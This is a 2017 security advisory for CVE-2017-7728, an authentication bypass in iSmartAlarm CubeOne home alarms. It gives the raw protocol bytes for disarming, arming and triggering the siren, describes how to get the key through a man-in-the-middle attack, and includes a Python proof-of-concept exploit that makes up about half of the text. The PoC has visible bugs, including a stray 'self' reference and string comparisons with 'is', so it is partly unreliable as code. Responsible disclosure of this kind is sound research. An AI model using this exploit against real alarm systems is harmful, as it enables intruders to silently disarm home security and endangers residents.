iSmartAlarm CubeOne Remote Command Execution
Posted on 15 July 2017
[+] Credits: Ilia Shnaidman [+] @0x496c on Twitter [+] Source: http://dojo.bullguard.com/blog/burglar-hacker-when-a-physical-security-is-compromised-by-iot-vulnerabilities/ Vendor: ============= iSmartAlarm, inc. Product: =========================== iSmartAlarm cube - All iSmartAlarm is one of the leading IoT manufactures in the domain of smart alarm systems. It provides a fully integrated alarm system with siren, smart cameras and locks. It functions like any alarm system, but with the benefits of a connected device: alerts pop up on your phone, offering you full remote control via mobile app wherever you are. Vulnerability Type: ====================== Authentication Bypass CVE Reference: ============= CVE-2017-7728 Security Issue: ================ On iSmartAlarm cube devices, there is an authentication bypass. The vulnerability can lead to remote execution of alarm's commands; setting the alarm on/off and activating the alarm siren. Additional Information: =============== 1. First the app and the cube authenticate by using sophisticated 4 way handshake. Looks like that: App ISATx01x00*3x01x00*7 Cube ISATx02x00*3x01x00*3x10x00*3 + "Cube generated Secret Key" 2. Encryption algorithm: With the "Secret key" and the IPU (encryption key) the app decrypts a key using XXTEA encryption algorithm (funny thing is that ismartalarm implementation is broken). After that, the algorithm takes the output of the XXTEA enc and then reverses the output. This is the "new key"! So now, we got the encryption key, and we can do whatever we want with the alarm. 3. The app sends command as follows to proceed with the authentication: App ISATx03x00*3x01x00*3x10x00*3 + "new key" Cube ISATx04x00*3x01x00*3x01x00*3x01 4. NOW WE ARE AUTHENTICATED. we can now send one of the following commands to the cube Disarming the alarm "Disarm mode": ISATPx00*3x01x00*3x03x00*3x01x002 Arming the alarm "Arm mode": ISATPx00*3x01x00*3x03x00*3x01x000 Activate alarm's siren "Panic mode": ISATPx00*3x01x00*3x03x00*3x01x003 Attack Vectors: =============== After authentication, using the above protocol will allow full control of the alarm. When iSmartAlarm's mobile app connected to the same network as the iSmartAlarm's cube, their authentication and then communication are made on port tcp/12345 in PLAIN TEXT. Obtaining encryption key is done by using CVE-2017-7726. After setting the MITM a POST request is made to the following api: https://api.ismartalarm.com:8443/api/GetIpuEnr.ashx >From there an attacker can obtain the encryption key. After obtaining the encryption key, using the above protocol will allow an attacker a full control over the alarm system. PoC: =============== #!/usr/bin/python # auther: Ilia Shnaidman # @0x496c on Twitter # python27 import socket import struct # - - - - - - - ISMART_SYN = 'ISATx01x00x00x00x01x00x00x00x00x00x00x00' ISMART_SYN_ACK = 'ISATx02x00x00x00x01x00x00x00x10x00x00x00' ISMART_ACK_PREFIX = 'ISATx03x00x00x00x01x00x00x00x10x00x00x00' ISMART_SUCCESS_ACK = 'ISATx04x00x00x00x01x00x00x00x01x00x00x00x01' ISMART_ALARM_DISARM = 'ISATPx00x00x00x01x00x00x00x03x00x00x00x01x002' ISMART_ALARM_DISARM_ACK = 'ISATQx00x00x00x01x00x00x00x05x00x00x00x01x00200' ISMART_ALARM_ARM = 'ISATPx00x00x00x01x00x00x00x03x00x00x00x01x000' ISMART_ALARM_ARM_ACK = 'ISATQx00x00x00x01x00x00x00x05x00x00x00x01x00000' ISMART_ALARM_PANIC = 'ISATPx00x00x00x01x00x00x00x03x00x00x00x01x003' ISMART_ALARM_PANIC_ACK = 'ISATQx00x00x00x01x00x00x00x05x00x00x00x01x00300' DELTA = 0x9e3779b9 IP = '1.2.3.4' ISMART_PORT = 12345 # retrieve ismartalarm key using CVE-2017-7726, # and search for /GetIpu.ashx api ISMART_KEY = "" MTU = 1450 # - - - - - - - def decrypt_in_place(data,key): #data_out = [0,0,0,0] key_u = struct.unpack('>IIII', key) data_u = struct.unpack('>IIII', data) data_u = [i for i in data_u] if len(key_u) != 4: return None if len(data_u) != 4: return None y = data_u[0] sum = (6 + (52/4)) * DELTA l = 4 for i in xrange(19): e = (sum >> 2) & 3 for p in xrange(3,0,-1): z = data_u[p-1] y = (data_u[p] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(p&3)^e]^z)))&0xffffffff))&0xffffffff data_u[p] = y z = data_u[l-1] y = (data_u[0] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(0&3)^e]^z)))&0xffffffff))&0xffffffff data_u[0] = y sum = sum - DELTA return data_u def revarr(arr): n_arr = [0]*16 for i in xrange(4): n_arr[i] = arr[3-i] n_arr[i+4] = arr[7-i] n_arr[i+8] = arr[11-i] n_arr[i+12] = arr[15-i] return "".join(n_arr) def ismartalarm_connection(): ismart_so = socket.socket() ismart_so.settimeout(5) ismart_so.connect((IP, ISMART_PORT)) ismart_so.send(ISMART_SYN) so_recv = ismart_so.recv(MTU) if ISMART_SYN_ACK == so_recv[:16]: ismart_secret = so_recv[16:] key = ISMART_KEY data_dec = decrypt_in_place(revarr(ismart_secret), revarr(key)) data_dec_rev = revarr("".join(["{0:0{1}x}".format(i,8) for i in data_dec]).decode("hex")) ismart_so.send("%s%s" % (ISMART_ACK_PREFIX, data_dec_rev)) so_recv = self.ismart_so.recv(MTU) if ISMART_SUCCESS_ACK == so_recv: # We are authenticated return ismart_so return False def ismart_commands(command): # Get authenticated connection to ismartalarm ismart_so = ismartalarm_connection() if not ismart_so: # we failed to authenticate return False if not command: return False if "arm" is command: print "[+] Sending arm command" ismart_so.send(ISMART_ALARM_ARM) so_recv = ismart_so.recv(MTU) if ISMART_ALARM_ARM_ACK == so_recv: print "[!] Success! iSmart Alarm system is ARMED!" elif "disarm" is command: print "[+] Sending disarm command" ismart_so.send(ISMART_ALARM_DISARM) so_recv = ismart_so.recv(MTU) if ISMART_ALARM_DISARM_ACK == so_recv: print "[!] Success! iSmartAlarm system is disarmed!" elif "panic" is command: print "[+] Sending panic command, close your ears :)" ismart_so.send(ISMART_ALARM_PANIC) so_recv = ismart_so.recv(MTU) if ISMART_ALARM_PANIC_ACK == so_recv: print "[!] Success! iSmartAlarm system is in panic mode!" return True Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ===================================== Jan 30, 2017: Initial contact to vendor Feb 1, 2017: Vendor replied, requesting details Feb 2, 2017: Disclosure to vendor Apr 12, 2017: After vendor didn't replied, I've approached CERT Apr 13, 2017: Confirmed receipt by CERT and assigning CVEs July 05, 2017: Public disclosure
